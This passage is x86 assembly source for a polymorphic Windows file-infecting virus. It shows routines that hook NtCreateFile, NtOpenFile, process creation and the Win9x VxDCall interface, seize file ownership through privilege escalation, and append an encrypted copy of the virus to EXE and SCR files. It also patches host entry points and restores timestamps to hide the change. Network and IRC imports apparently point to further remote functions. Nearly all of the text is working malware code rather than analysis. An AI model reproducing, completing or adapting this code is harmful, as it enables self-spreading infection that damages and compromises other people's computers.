push k32_base[ebp]
call [GetProcAddress+ebp]
pop edx
test eax, eax
jnz install_epo ; we need imports from KERNEL32, to maintain return address
.elseif al == 0ffh ; try m$ linker (CALL [xx])
cmp byte ptr [esi], 15h
jne continue_scan_ep
mov eax, [esi+1]
sub eax, [ebx+34h] ; absolute address -> RVA
push eax
call rva2ofs
cmp sect_header[ebp], edi ; imports section?
jne continue_scan_ep
add eax, sect_rva2ofs[ebp] ; -> raw file offset
add eax, file_base[ebp] ; -> in-mapping ptr
mov look_for_imp[ebp], eax
mov eax, [eax] ; check where xx points (before loading it should be API name)
cmp eax, k32code_begin[ebp]
jb check_misbound
cmp eax, k32code_end[ebp]
jb install_epo
check_misbound:
cmp eax, 70000000h
jb not_a_bound_import
call __after_find_import ; could be a misbound import, happens quite often
lea ecx, [esi-4]
mov eax, ecx
sub eax, [edx]
add eax, [edx+16]
.if eax == look_for_imp[ebp]
add esp, 16
push [ecx]
pop [esp+28]
popad
jmp got_name_rva
.endif
ret
__after_find_import:
pop import_found[ebp]
pushad
mov esi, file_base[ebp]
call walk_imports
popad
not_a_bound_import:
test eax, 80000000h ; no fast'n'easy way to check if an ordinal is in KERNEL32
jnz continue_scan_ep
got_name_rva:
sub eax, [edi+12] ; -> import section offset
jb continue_scan_ep
cmp eax, [edi+8]
jb found_place
.endif
continue_scan_ep:
dec ecx
jnz scan_ep
epo_failed:
mov edi, [esp]
and dword ptr [edi+(genes-entry_point)], not G_EPO
jmp exit_epo
install_epo:
or dword ptr [edx+36], 0e0000060h ; read/write/execute
dec esi
xor eax, eax
mov ecx, [esp]
xchg eax, drop_rva[ebp]
mov epo_rva[ebp], eax
lea edi, [ecx+(epo_restore-entry_point)]
add eax, file_base[ebp]
movsw
movsd
dec esi
sub eax, esi
add eax, [edx+20]
sub eax, [edx+12]
mov byte ptr [esi-5], 0e8h
mov dword ptr [ecx+(ENTRY_POINT_DELTA-entry_point)], 5
mov [esi-4], eax
exit_epo:
pop edi
pop esi
ret
regain_file:
push edi
call [GetVersion+ebp]
shr eax, 31
jnz exit_regain_file
push eax
push esp
push 28h ; TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY
push -1 ; GetCurrentProcess
call [NtOpenProcessToken+ebp]
test eax, eax
pop edi
js exit_regain_file
call init_advapi32
pusht 'SetFileSecurityA'
push hAdvapi32[ebp]
call [GetProcAddress+ebp]
mov SetFileSecurity[ebp], eax
pusht 'SeTakeOwnershipPrivilege'
push edi
call nt_grant_priv
pusht 'SeRestorePrivilege'
push edi
call nt_grant_priv
pusht 'SeBackupPrivilege'
push edi
call nt_grant_priv
pusht 'SeChangeNotifyPrivilege'
push edi
call nt_grant_priv
push eax
push esp ; ReturnLength
lea eax, token_user[ebp]
push 100 ; TokenInformationLength
push eax ; TokenInformation
push 1 ; TokenInformationClass = TokenUser
push edi ; TokenHandle
call [NtQueryInformationToken+ebp]
mov [esp], edi
call [CloseHandle+ebp]
sub al, al
lea edi, filename_buffer[ebp]
push eax
push eax
push eax
push dword ptr token_user[ebp]
push 00040001h
push esp ; pSecurityDescriptor
push 1 ; SecurityInformation = OWNER_SECURITY_INFORMATION
push edi ; lpFileName
call [SetFileSecurity+ebp]
push esp ; pSecurityDescriptor
push 4 ; SecurityInformation = DACL_SECURITY_INFORMATION
push edi ; lpFileName
call [SetFileSecurity+ebp]
add esp, 5*4
push hAdvapi32[ebp]
call [FreeLibrary+ebp]
exit_regain_file:
pop edi
ret
open_and_map_file:
lea esi, filename_buffer[ebp]
push esi
call [GetFileAttributes+ebp]
cmp eax, -1
je exit_infect
mov file_attr[ebp], eax
push 0
push esi
call [SetFileAttributes+ebp]
test eax, eax
jz exit_infect
sub eax, eax
push eax ; hTemplateFile
push eax ; dwFlagsAndAttributes
push 3 ; dwCreationDistribution = OPEN_EXISTING
push eax ; lpSecurityAttributes
push 1 ; dwShareMode = FILE_SHARE_READ
push 0c0000000h ; dwDesiredAccess = GENERIC_READ | GENERIC_WRITE
push esi ; lpFileName
call [CreateFile+ebp]
cmp eax, -1
je restore_attr
mov file_handle[ebp], eax
lea ecx, file_last_write_time[ebp]
lea edx, file_last_access_time[ebp]
push ecx ; lpLastWriteTime
push edx ; lpLastAccessTime
push 0 ; lpCreationTime
push eax ; hFile
call [GetFileTime+ebp]
cmp eax, -1
je do_close_file
push 0
push file_handle[ebp]
call [GetFileSize+ebp]
cmp eax, -1
je do_close_file
mov file_size[ebp], eax
xor ecx, ecx
add eax, ebx
push ecx ; lpName
push eax ; dwMaximumSizeLow
push ecx ; dwMaximumSizeHigh
push 4 ; flProtect = PAGE_READWRITE
push ecx ; lpFileMappingAttributes
push file_handle[ebp]
call [CreateFileMapping+ebp]
test eax, eax
jz do_close_file
xor ecx, ecx
mov file_mapping[ebp], eax
push ecx ; dwNumberOfBytesToMap
push ecx ; dwFileOffsetLow
push ecx ; dwFileOffsetHigh
push 000f001fh ; FILE_MAP_ALL_ACCESS
push eax ; hFileMappingObject
call [MapViewOfFile+ebp]
test eax, eax
jz close_mapping
mov file_base[ebp], eax
exit_infect:
ret
calculate_increase:
mov eax, (TOTAL_SIZE-1)
mov ecx, [ebx+38h]
test genes[ebp], G_KEEPEP
.if zero?
add eax, poly_len[ebp]
.endif
xor edx, edx
add eax, ecx
div ecx
mul ecx
mov virtual_increase[ebp], eax
mov eax, (CODE_SIZE-1)
mov ecx, [ebx+3ch]
add eax, poly_len[ebp]
xor edx, edx
add eax, ecx
div ecx
mul ecx
mov file_increase[ebp], eax
ret
find_last_section:
movzx ecx, word ptr [ebx+6] ; ECX = NumberOfSections
stc
try_another_section:
jecxz last_section_ret
lea edx, [ebx+18h] ; EDX -> optional header
movzx eax, word ptr [ebx+14h] ; EAX = SizeOfOptionalHeader
add edx, eax ; EDX -> section table
dec ecx
imul eax, ecx, 40
add edx, eax
cmp dword ptr [edx], 'niw_' ; WinZip Self-Extractor?
stc
je last_section_ret
cmp dword ptr [edx+12], 1
jb try_another_section
mov ecx, [ebx+3ch] ; (FileAlignment)
mov eax, [edx+20] ; PointerToRawData
add eax, [edx+16] ; + SizeOfRawData
lea eax, [eax+ecx*2-1]
neg ecx
and eax, ecx ; round it up to FileAlignment
cmp eax, file_size[ebp] ; additional data after end of image?
last_section_ret:
ret
reload_context:
mov edx, [esp+16]
xor eax, eax
pop dword ptr [edx+184] ; update CONTEXT.CsEip
ret
file_ext:
mov ecx, edi
jmp find_file_ext
check_open:
lea edi, filename_buffer[ebp]
cld
path_backslash:
mov ebx, edi
xor ecx, ecx
find_file_ext:
lodsb
.if al >= 'a' && al <= 'z'
sub al, 20h
.endif
stosb
cmp al, '\'
je path_backslash
cmp al, '.'
je file_ext
cmp al, 0
jne find_file_ext
jecxz last_section_ret
mov eax, [ecx]
ifdef RELEASE
cmp eax, (' EXE' and 0ffffffh)
je infect_executable
cmp eax, (' RCS' and 0ffffffh)
jne exit_infect
else
cmp eax, (' EEE' and 0ffffffh)
jne exit_infect
endif
infect_executable:
mov eax, [ebx]
cmp eax, 'CNIW' ; Windows Commander
je exit_infect
cmp eax, 'NUCW'
je exit_infect
cmp eax, '23CW'
je exit_infect
cmp eax, 'OTSP' ; Protected Storage stuff must not be touched
je exit_infect
start_infection:
xor ebx, ebx
call open_and_map_file
.if zero?
call regain_file
call open_and_map_file
jz exit_infect
.endif
xor edx, edx
call install_exception_handler
call reload_context
call __deltaX
__deltaX:
pop ebp
sub ebp, offset __deltaX
jmp deinstall_exception_handler
install_exception_handler:
push dword ptr fs:[edx]
mov esi, file_base[ebp]
mov fs:[edx], esp
cmp word ptr [esi], 'ZM'
jne deinstall_exception_handler
mov ebx, [esi+3ch]
add ebx, esi
cmp word ptr [ebx], 'EP'
jne deinstall_exception_handler
test dword ptr [ebx+16h], 2000h ; DLL?
jnz deinstall_exception_handler
test byte ptr [ebx+5ch], 2 ; subsystem mask: Windows/POSIX
jz deinstall_exception_handler
cmp dword ptr [ebx+8], 20202020h
je deinstall_exception_handler
call find_last_section
jc deinstall_exception_handler
and epo_rva[ebp], 0
mov eax, [edx+8]
mov ecx, [edx+16]
sub eax, ecx
.if carry?
xor eax, eax
.else
add ecx, eax
mov [edx+16], ecx
.endif
mov align_to_vsize[ebp], eax
add ecx, [edx+12]
mov eax, 65536
push ecx
call randmod
xor start_key[ebp], dl
mov cl, NUM_GENES
xor sliding_key[ebp], dh
do_mutate_genes:
push NUM_GENES
dec cl
pop eax
js __got_genes
call randmod
test edx, edx
setz dl
shl edx, cl
xor genes[ebp], edx
jmp do_mutate_genes
__got_genes:
test genes[ebp], G_SEHEBP
.if !zero?
test genes[ebp], (G_IMPORT or G_IMPORT2)
.if zero?
and genes[ebp], not G_SEHEARLY
.else
or genes[ebp], G_FRAME
.endif
.endif
got_genes:
push NUM_POLY_REGS
pop ecx
hash_regs:
push NUM_POLY_REGS
pop eax
call randmod
mov al, byte ptr poly_regs[ebp]
xchg al, byte ptr poly_regs[ebp+edx]
mov byte ptr poly_regs[ebp], al
loop hash_regs
test genes[ebp], G_SPECKEY
jnz __regs_check
cmp pr_key[ebp], 1 ; ECX is used by incrementation loop, cannot be the incremented variable at the same time
je got_genes
__regs_check:
test genes[ebp], G_FRAME
jz __regs_check_2
cmp pr_memreg[ebp], 5 ; EBP is used by stack frame
je got_genes
cmp pr_counter[ebp], 5
je got_genes
cmp pr_key[ebp], 5
je got_genes
__regs_check_2:
test genes[ebp], G_EPO
jz __regs_check_3
cmp pr_memreg[ebp], 2 ; do NOT trash other reg than EAX/ECX/EDX (stdcall!)
ja got_genes
__regs_check_3:
and drop_rva[ebp], 0
call generate_poly
call calculate_increase
call unmap_and_close_file
mov ebx, file_increase[ebp]
add ebx, align_to_vsize[ebp]
call open_and_map_file
jz deinstall_exception_handler
mov esi, file_base[ebp]
mov ebx, [esi+3ch]
add ebx, esi
call find_last_section
jc deinstall_exception_handler
or dword ptr [edx+36], 0e0000060h ; read/write/execute
mov edi, esi
push edx
push esi
add edi, [edx+20] ; PointerToRawData
add edi, [edx+16] ; SizeOfRawData
test genes[ebp], G_KEEPEP
.if zero?
mov drop_ptr[ebp], edi
lea esi, poly_decrypt[ebp]
mov ecx, poly_len[ebp]
rep movsb
.endif
push edi
mov ecx, (CODE_SIZE/4)
lea esi, entry_point[ebp]
rep movsd
mov cl, (CODE_SIZE-(CODE_SIZE/4*4))
jecxz virus_code_written
rep movsb
virus_code_written:
test genes[ebp], G_KEEPEP
jz skip_hook_ep
push [ebx+28h]
call rva2ofs
mov edx, sect_header[ebp]
test edx, edx
jz skip_hook_ep
mov esi, file_base[ebp]
mov ecx, [edx+16] ; SizeOfRawData
or dword ptr [edx+36], 0e0000060h ; read/write/execute
sub ecx, [edx+8] ; VirtualSize
.if carry?
xor ecx, ecx
.endif
add esi, [edx+20]
cmp ecx, poly_len[ebp]
mov ecx, poly_len[ebp]
.if !carry?
mov edi, [esp]
and poly_len[ebp], 0
and dword ptr [edi+(poly_len-entry_point)], 0
mov edi, [edx+8]
add [edx+8], ecx
add esi, edi
xchg esi, edi
mov eax, dist_address[ebp]
test genes[ebp], G_DISTANCE
.if !zero?
neg dword ptr [eax]
.endif
add esi, [edx+12]
sub [eax], esi ; relocate to section padding...
mov drop_rva[ebp], esi
mov esi, [ebx+28h]
add [eax], esi ; ...from AddressOfEntryPoint
test genes[ebp], G_DISTANCE
.if !zero?
neg dword ptr [eax]
.endif
push ecx
call calculate_increase
pop ecx
.else
add esi, [ebx+28h]
sub esi, [edx+12]
push ecx
push esi ; save code from original EP after virus code
rep movsb ; (i.e. just at poly_decrypt)
pop edi
pop ecx
.endif
lea esi, poly_decrypt[ebp]
mov drop_ptr[ebp], edi ; write polymorphic decryptor
rep movsb ; at current entry point
skip_hook_ep:
pop edi
pop esi
rdtsc
xchg eax, edx
lea eax, [edi+(crypted_start-entry_point)]
.if dl == start_key[ebp]
imul edx, edx, 12345678h
.endif
mov [eax-(crypted_start-encryption_key)], dl
call crypt_data
pop edx
mov ecx, [edx+12] ; VirtualAddress
add ecx, [edx+16] ; ECX = where we were appended
test genes[ebp], G_KEEPEP
lea eax, [ecx+(begin-entry_point)]
.if zero?
mov drop_rva[ebp], ecx
add eax, poly_len[ebp]
and dword ptr [edi+(poly_len-entry_point)], 0
.endif
sub eax, [ebx+28h] ; AddressOfEntryPoint
mov [edi+(ENTRY_POINT_DELTA-entry_point)], eax
test random_seed[ebp], 1
.if !zero? ; why not infect multiple times :)
mov dword ptr [ebx+8], 20202020h
.endif
test genes[ebp], G_EPO
.if !zero?
push edx
call handle_epo
pop edx
.endif
mov ecx, drop_rva[ebp]
jecxz no_drop_rva
mov [ebx+28h], ecx
jmp put_sehsave
no_drop_rva:
mov ecx, epo_rva[ebp]
jecxz dropped_at_entrypoint
jmp put_sehsave
dropped_at_entrypoint:
mov ecx, [ebx+28h]
put_sehsave:
test genes[ebp], (G_IMPORT or G_IMPORT2)
.if !zero?
mov eax, drop_ptr[ebp]
add ecx, pos_sehrestore[ebp]
add eax, pos_sehsave[ebp]
add [eax], ecx
.endif
mov ecx, [edx+16] ; ECX = SizeOfRawData
mov eax, file_increase[ebp]
.if [edx+8] < ecx
mov [edx+8], ecx ; VirtualSize correction
.endif
add [edx+16], eax ; update SizeOfRawData
and dword ptr [ebx+58h], 0 ; reset Checksum
mov eax, virtual_increase[ebp]
push CODE_SIZE
add [edx+8], eax ; update VirtualSize
pop ecx
add [ebx+50h], eax ; update SizeOfImage
mov dl, start_key[ebp]
test genes[ebp], G_KEEPEP
.if !zero?
add ecx, poly_len[ebp]
.endif
mov dh, 0
test genes[ebp], G_SLIDKEY
jnz encrypt_all
inc dh
test genes[ebp], G_SLIDKEYM
jnz encrypt_all
mov dh, sliding_key[ebp]
encrypt_all:
test genes[ebp], G_ENCRYPT
jnz xor_encrypt_all
add_encrypt_all:
mov al, [edi]
add al, dl
stosb
add dl, dh
loop add_encrypt_all
jmp deinstall_exception_handler
xor_encrypt_all:
mov al, [edi]
xor al, dl
stosb
add dl, dh
loop xor_encrypt_all
deinstall_exception_handler:
xor edx, edx
mov esp, fs:[edx]
pop dword ptr fs:[edx]
pop eax
unmap_and_close_file:
cmp file_handle[ebp], 0
je exit_infect
push file_base[ebp]
call [UnmapViewOfFile+ebp]
close_mapping:
push file_mapping[ebp]
call [CloseHandle+ebp]
lea ecx, file_last_write_time[ebp]
lea edx, file_last_access_time[ebp]
push ecx ; lpLastWriteTime
push edx ; lpLastAccessTime
push 0 ; lpCreationTime
push file_handle[ebp] ; hFile
call [SetFileTime+ebp]
do_close_file:
push file_handle[ebp]
call [CloseHandle+ebp]
restore_attr:
lea esi, filename_buffer[ebp]
push file_attr[ebp]
push esi
call [SetFileAttributes+ebp]
and file_handle[ebp], 0
ret
enter_infector:
call __enter_infector
__enter_infector:
pop ebp
push 1
sub ebp, offset __enter_infector
pop eax
lock xadd infector_lock[ebp], eax
test eax, eax
ret
leave_infector:
or eax, -1
lock xadd infector_lock[ebp], eax
ret
VxDCall_int30_hook:
cmp eax, 002a0010h ; VWIN32_Int21Dispatch?
jne exit_int30_hook
cmp word ptr [esp+12], 716ch ; LFN Extended Open/Create?
jne exit_int30_hook
pushad
call enter_infector
jnz w9x_skip_infection
call check_open
w9x_skip_infection:
call leave_infector
popad
exit_int30_hook:
jmp fword ptr cs:[12345678h]
VxDCall_int30_hook_jmp = ($-4)
new_NtCreateFile:
mov eax, 25h
idx_NtCreateFile = ($-4)
common_NCF:
pushad
call enter_infector
jnz nt_skip_infection
mov eax, [esp+48]
lea esi, filename_buffer[ebp]
mov edx, [eax+8]
cmp word ptr [edx], 259*2
jae nt_skip_infection
push esi
push 0ff0000h
mov eax, esp
push 0
push edx
push eax
call [RtlUnicodeStringToAnsiString+ebp]
add esp, 8
.if dword ptr [esi] == '\??\'
add esi, 4
.endif
call check_open
nt_skip_infection:
call leave_infector
popad
ret
new_NtOpenFile:
mov eax, 74h
idx_NtOpenFile = ($-4)
jmp common_NCF
new_NtCreateProcess:
mov eax, 29h
idx_NtCreateProcess = ($-4)
call common_NCP
ret 32
new_NtCreateProcessEx:
mov eax, 30h
idx_NtCreateProcessEx = ($-4)
call common_NCP
ret 36
new_NtCreateUserProcess:
mov eax, 185h
idx_NtCreateUserProcess = ($-4)
call common_NCP
ret 44
common_NCP:
lea edx, [esp+12]
int 2eh
cmp eax, 0
jl NCP_exit
pushad
call __common_NCP
__common_NCP:
mov edx, [esp+48]
pop ebp
mov ebx, [edx]
sub ebp, offset __common_NCP
call nt_infect_process
popad
NCP_exit:
ret 4
poly_regs:
pr_memreg db 6
pr_counter db 1 ; can't be 1 with ~G_SPECKEY!!
pr_key db 3
db 2, 5, 7
NUM_POLY_REGS = ($-poly_regs)
start_key db 11h
sliding_key db 9Ch
CRYPTED_SIZE = ($-crypted_start)
genes dd 0
epo_restore db 6 dup(?)
align 4
CODE_SIZE = ($-entry_point)
poly_decrypt db 512 dup(?) ; hardcoded, must be just after CODE_SIZE
token_user db 100 dup(?) ; keep these aligned!
section_name dw FILEMAP_NAME_LEN dup(?)
CloseHandle dd ?
CreateEvent dd ?
GetLastError dd ?
GetProcAddress dd ?
VxDCall dd ?
wsprintf dd ?
import_addr_kernel:
lstrlen dd ?
CreateFile dd ?
CreateFileMapping dd ?
CreateProcess dd ?
CreateRemoteThread dd ?
CreateThread dd ?
CreateToolhelp32Snapshot dd ?
ExitThread dd ?
FileTimeToSystemTime dd ?
FreeLibrary dd ?
GetFileAttributes dd ?
GetFileSize dd ?
GetFileTime dd ?
GetModuleHandle dd ?
GetTempFileName dd ?
GetTempPath dd ?
GetVersion dd ?
GetVersionEx dd ?
LoadLibrary dd ?
MapViewOfFile dd ?
OpenFileMapping dd ?
OpenProcess dd ?
Process32First dd ?
Process32Next dd ?
SetFileAttributes dd ?
SetFileTime dd ?
Sleep dd ?
SystemTimeToFileTime dd ?
UnmapViewOfFile dd ?
VirtualAlloc dd ?
WriteFile dd ?
NUMBER_OF_KERNEL_IMPORTS = (($-import_addr_kernel)/4)
import_addr_ntdll:
NtAdjustPrivilegesToken dd ?
NtCreateFile dd ?
NtCreateProcess dd ?
NtCreateProcessEx dd ?
NtCreateSection dd ?
NtCreateUserProcess dd ?
NtMapViewOfSection dd ?
NtOpenFile dd ?
NtOpenProcessToken dd ?
NtOpenSection dd ?
NtProtectVirtualMemory dd ?
NtQueryInformationToken dd ?
NtWriteVirtualMemory dd ?
RtlUnicodeStringToAnsiString dd ?
NUMBER_OF_NTDLL_IMPORTS = (($-import_addr_ntdll)/4)
import_addr_wsock32:
WSAStartup dd ?
closesocket dd ?
connect dd ?
gethostbyname dd ?
recv dd ?
send dd ?
socket dd ?
NUMBER_OF_WSOCK32_IMPORTS = (($-import_addr_wsock32)/4)
import_addr_wininet:
InternetCloseHandle dd ?
InternetGetConnectedState dd ?
InternetOpen dd ?
InternetOpenUrl dd ?
InternetReadFile dd ?
NUMBER_OF_WININET_IMPORTS = (($-import_addr_wininet)/4)
import_addr_advapi32:
RegCloseKey dd ?
RegOpenKeyEx dd ?
RegQueryValueEx dd ?
RegSetValueEx dd ?
NUMBER_OF_ADVAPI32_IMPORTS = (($-import_addr_advapi32)/4)
virus_pid dd ?
old_VxDCall_int30_callback dw ?,?,?
random_seed dd ?
hInternet dd ?
ircbuf db 511 dup(?)
need_restore db ?
filename_buffer db 'BAIT.EXE', 0
db (260-($-filename_buffer)) dup(?)
hAdvapi32 dd ?
LookupPrivilegeValue dd ?
SetFileSecurity dd ?
file_attr dd ?
file_handle dd ?
file_last_write_time dd ?,?
file_last_access_time dd ?,?
file_size dd ?
file_mapping dd ?
file_base dd ?
file_increase dd ?
align_to_vsize dd ?
virtual_increase dd ?
call_address dd ?
dist_address dd ?
start_loop dd ?
num_imports dd ?
import_found dd ?
pos_callover dd ?
pos_relctx dd ?
pos_skipapi dd ?
pos_size dd ?
pos_sehsave dd ?
pos_sehrestore dd ?
sect_header dd ?
sect_rva2ofs dd ?
epo_rva dd ?
drop_rva dd ?
drop_ptr dd ?
save_ebx dd ?
save_esi dd ?
save_edi dd ?
k32_base dd ?
k32code_begin dd ?
k32code_end dd ?
look_for_imp dd ?
ALMOST_TOTAL = ($-entry_point)
TOTAL_SIZE = ($-entry_point+16384)
kernel32 db 'KERNEL32.DLL', 0
ExitProcess proto :dword
start:
ifndef RELEASE
jmp entry_point
endif
first_generation_host:
ifdef RELEASE
mov ebx, [esp]
and ebx, 0fffff000h
@@1:
cmp word ptr [ebx], 'ZM'
je @@2
sub ebx, 4096
jmp @@1
@@2:
mov eax, [ebx+3ch]
add eax, ebx
mov edx, [eax+78h]
add edx, ebx
mov esi, [edx+20h] ; AddressOfNames
mov ecx, [edx+18h] ; NumberOfNames
add esi, ebx
push ecx
__kernel_export_lookup:
lodsd
add eax, ebx
cmp word ptr [eax+2], 'Pt'
jne __try_next_export
cmp dword ptr [eax+5], 'dAco'
je __kernel_export_found
__try_next_export:
loop __kernel_export_lookup
__kernel_export_found:
sub [esp], ecx
mov esi, [edx+24h]
pop ecx
add esi, ebx
movzx eax, word ptr [esi+ecx*2]
mov edi, [edx+1ch]
add edi, ebx
mov esi, [edi+eax*4]
add esi, ebx
mov GetProcAddress, esi
xor ebp, ebp
mov esi, offset import_names_kernel
xor ecx, ecx
mov edi, offset import_addr_kernel
mov cl, NUMBER_OF_KERNEL_IMPORTS
call import_functions
pusht 'CloseHandle'
push ebx
call GetProcAddress
mov CloseHandle, eax
rdtsc
mov random_seed, eax
or genes, G_EPO
mov esi, offset filename_buffer
call check_open
endif
push 0
call ExitProcess
end start